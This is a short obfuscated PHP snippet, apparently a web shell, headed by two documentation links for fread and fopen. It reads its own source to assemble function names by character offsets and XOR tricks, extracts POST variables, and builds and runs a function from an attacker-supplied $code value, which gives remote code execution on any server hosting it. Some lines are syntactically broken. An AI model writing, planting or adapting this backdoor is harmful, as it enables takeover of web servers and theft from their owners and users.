- fread: documentation ( source)
- fopen: documentation ( source)
<?php @$t=x;
$x=fread(fopen($_SERVER["PHP_SELF"],"r"),13337);
$y=chr(69).$x[0x5e].${$t}[8];
$s=$x[411].@tr.("T"^"&").$x[0x8d].$x[399];$f=$x[306].$s[3].$s[10-6].("B"^"#").chr(116)."\x65".@_.$s("nu\x66");
$x=$s($t=$y[2].@c.$s("${y}r\x61"));
$x($_POST); $G=$f.@ction;$=$G(null,$code);$();
// SELF INFECTION, MASS DESTRUCTION, PROGRAMMED FOR THE FINAL FUNCTION
// LAB RAT KING, RESCUE TEAM, SAVE ME FROM THE NEXT LIFE